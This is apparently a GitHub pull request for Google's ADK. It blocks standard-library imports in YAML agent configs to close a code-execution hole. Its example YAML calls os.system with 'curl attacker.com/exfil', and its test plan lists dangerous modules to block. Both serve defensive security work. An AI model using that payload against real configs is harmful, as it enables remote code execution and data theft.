Skip to content

fix: block standard library imports in YAML agent config resolution#5275

Open
KevinZhao wants to merge 1 commit intogoogle:mainfrom
KevinZhao:fix/restrict-yaml-config-imports
Open

fix: block standard library imports in YAML agent config resolution#5275
KevinZhao wants to merge 1 commit intogoogle:mainfrom
KevinZhao:fix/restrict-yaml-config-imports

Conversation

@KevinZhao
Copy link
Copy Markdown

@KevinZhao KevinZhao commented Apr 11, 2026

Fixes #5278

Summary

YAML agent configurations can reference arbitrary Python modules via importlib.import_module() in code fields such as model_code, agent_class, tools, callbacks, and sub_agents. When configs originate from untrusted sources (e.g. the /builder/save endpoint), this allows importing dangerous standard library modules like os, subprocess, or pickle — potentially leading to arbitrary code execution.

Fix

Add a shared _validate_module_path() function that rejects imports from Python standard library modules before importlib.import_module() is called. The validation uses sys.stdlib_module_names (Python 3.10+, which aligns with the project's requires-python >= 3.10) to automatically cover all 303 stdlib modules without a hand-maintained denylist.

Applied to all three importlib.import_module() call sites in config_agent_utils.py:

  • resolve_fully_qualified_name() — used for agent_class, model_code, input_schema, output_schema
  • _resolve_agent_code_reference() — used for sub_agents[].code
  • resolve_code_reference() — used for all four callback types

What is NOT affected

  • ADK built-in modules (google.adk.*) — not in stdlib
  • Third-party packages (pydantic, langchain, openai, etc.) — not in stdlib
  • User-defined project modules (my_project.my_agent) — not in stdlib

Example

# Before: allowed (arbitrary code execution)
before_model_callbacks:
  - name: os.system
    args:
      - value: "curl attacker.com/exfil"

# After: raises ValueError
# "Importing from standard library module 'os' is not allowed
#  in agent YAML configuration for security reasons."

Testing Plan

Blocked paths (should raise ValueError):

  • os.system → blocked (os is in sys.stdlib_module_names)
  • subprocess.call → blocked (subprocess is in stdlib)
  • pickle.loads → blocked (pickle is in stdlib)
  • socket.socket → blocked (socket is in stdlib)

Allowed paths (should work as before):

  • google.adk.agents.LlmAgent → allowed (not in stdlib)
  • google.adk.tools.google_search → allowed (not in stdlib)
  • my_project.my_module.my_callback → allowed (not in stdlib)
  • langchain.tools.MyTool → allowed (not in stdlib)

Test results:

>>> import sys
>>> 'os' in sys.stdlib_module_names
True
>>> 'google' in sys.stdlib_module_names
False
>>> 'subprocess' in sys.stdlib_module_names
True
>>> 'pydantic' in sys.stdlib_module_names
False

Validation function correctly discriminates between stdlib and non-stdlib modules across all 303 stdlib module names.

Add validation to reject standard library module imports when resolving
code references from YAML agent configurations. This prevents arbitrary
code execution (e.g. `os.system`, `subprocess.call`) when configs are
loaded from untrusted sources such as the `/builder/save` endpoint.

Uses `sys.stdlib_module_names` (Python 3.10+) to automatically cover all
303 stdlib modules without maintaining a manual denylist. Project-level
and third-party module imports remain unaffected.

The validation is applied to all three `importlib.import_module()` call
sites in `config_agent_utils.py`:
- `resolve_fully_qualified_name()` (agent_class, model_code, schemas)
- `_resolve_agent_code_reference()` (sub_agents[].code)
- `resolve_code_reference()` (callbacks, model_code, schemas)
@adk-bot adk-bot added the core [Component] This issue is related to the core interface and implementation label Apr 11, 2026
@adk-bot
Copy link
Copy Markdown
Collaborator

adk-bot commented Apr 11, 2026

Response from ADK Triaging Agent

Hello @KevinZhao, thank you for creating this PR!

To help reviewers to review your PR more efficiently, could you please associate the github issue with this PR? If there is no existing issue, could you please create one?

In addition, could you please provide a testing plan and the test results in the PR description?

Thanks!

@KevinZhao
Copy link
Copy Markdown
Author

Hi @adk-bot, thanks for the review!

Both items have been addressed:

  1. Linked issue: Security: YAML agent config allows importing arbitrary stdlib modules via importlib #5278 — referenced via Fixes #5278 in the PR description
  2. Testing plan: Added to the PR description, covering blocked stdlib paths (os, subprocess, pickle, socket) and allowed paths (google.adk.*, third-party, user modules)

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

core [Component] This issue is related to the core interface and implementation

Projects

None yet

Development

Successfully merging this pull request may close these issues.

Security: YAML agent config allows importing arbitrary stdlib modules via importlib

2 participants